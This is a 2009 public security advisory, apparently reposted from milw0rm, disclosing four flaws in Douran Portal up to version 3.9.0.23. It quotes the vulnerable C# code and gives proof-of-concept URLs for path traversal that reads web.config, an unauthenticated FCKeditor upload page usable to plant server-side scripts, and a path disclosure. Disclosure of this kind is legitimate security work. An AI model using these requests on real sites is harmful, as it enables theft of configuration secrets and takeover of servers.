Abysssec Inc Public Advisory

Description : 

these vulnerabilites found one year ago and new version of this portal "is not" affect whith these vulnerabilites anymore 
but still lots of web site uses of old version and are vulnerable and also new version is not "fully secure" . so because of patching there 
is no point to keep these private anymore these vulnerabities are just for educational purpose and author will be not be responsible 
for any damage using this vulnerabiltes .

Discovery : www.Abysssec.com 

Title  : Douran Portal Multiple Remote Vulnerabilities
Affected Version : DOURAN Portal   <= V3.9.0.23
Vendor  Site   : www.douran.com



Vulnerabilites : 


1- File Download Vulnerbility in /Admin/ImportExport/download.aspx

Vulnerable Code :


		string strFileName = Request.Params["Filename"];
		if((strFileName != null) && (strFileName != ""))
		{
			string strPath = Server.MapPath("../../_DouranPortal/ExportPortal");
			strPath += "\\" + strFileName; // Vulnerablity
			if(System.IO.File.Exists(strPath))
			{
				Response.Clear();
				Response.ContentType = "application/octet-stream";
				Response.AddHeader("Content-Transfer-Encoding", "binary");
				Response.AddHeader("Content-Disposition", "attachment; filename=\"" + strFileName + "\"");
				Response.Flush();
				Response.WriteFile(strPath);
				Response.End();

			.....


PoC : http://www.vulnerable.com/Admin/ImportExport/Download.aspx?filename=../../web.config



2- File Download Vulnerbility in /download.aspx

Vulnerable Code :


	string fileNameAttach = Request.Params["FileNameAttach"];
	string filePathAttach = Request.Params["FilePathAttach"];
	string originalAttachFileName = Request.Params["OriginalAttachFileName"];
	if((fileNameAttach != null) && (filePathAttach != ""))
	{
		string strPath = Server.MapPath(filePathAttach + "/" + fileNameAttach); // Vulnerable
		if(System.IO.File.Exists(strPath))
		{
			System.IO.Stream iStream = null;

			// Buffer to read 1 mega bytes in chunk:
			int segmentLegthToRead = 1024 * 1024;
			byte[] buffer = new Byte[segmentLegthToRead];
		......

PoC : http://www.vulnerable.com/download.aspx?FileNameAttach=/web.config

3- File Upload Vulnerability DesktopModules/fck/editor

Vulnerablity : 

Using Fckeditor without any authentication will give ability to attacker to
upload his / her own file and fckeditor won't check file extention
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP  / JSP .
so this vulnerability can creation access to server / portal completely .

PoC : http://www.vulnerable.com/DesktopModules/fck/editor/filemanager/upload/test.html


4-Path Disclosure Vulnerablity In DesktopModules/DesktopCalendar/HZAN_pickercal.aspx

Vulnerable Code : 

Calendar1.FullWidth = true;
	Calendar1.BigCaledar = bool.Parse((string)Request.QueryString["calsize"]);
	if (!IsPostBack) 
	{
		Calendar1.Date = new DateTime(long.Parse((string)Request.QueryString["curd"]));
		Calendar1.CalendarCulture = (HZAN.Calendar.CultureType)Enum.Parse(typeof(HZAN.Calendar.CultureType),(string)Request.QueryString["culture"]);
		seldate = Calendar1.Date.ToShortDateString();
		ChangeSelDate1();
	}


PoC : http://www.vulnerable.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize='


Final Note : for advanced security topics / sharing idea and etc ... please feel free to contact me at  : admin [at] abysssec.com

# milw0rm.com [2009-05-18]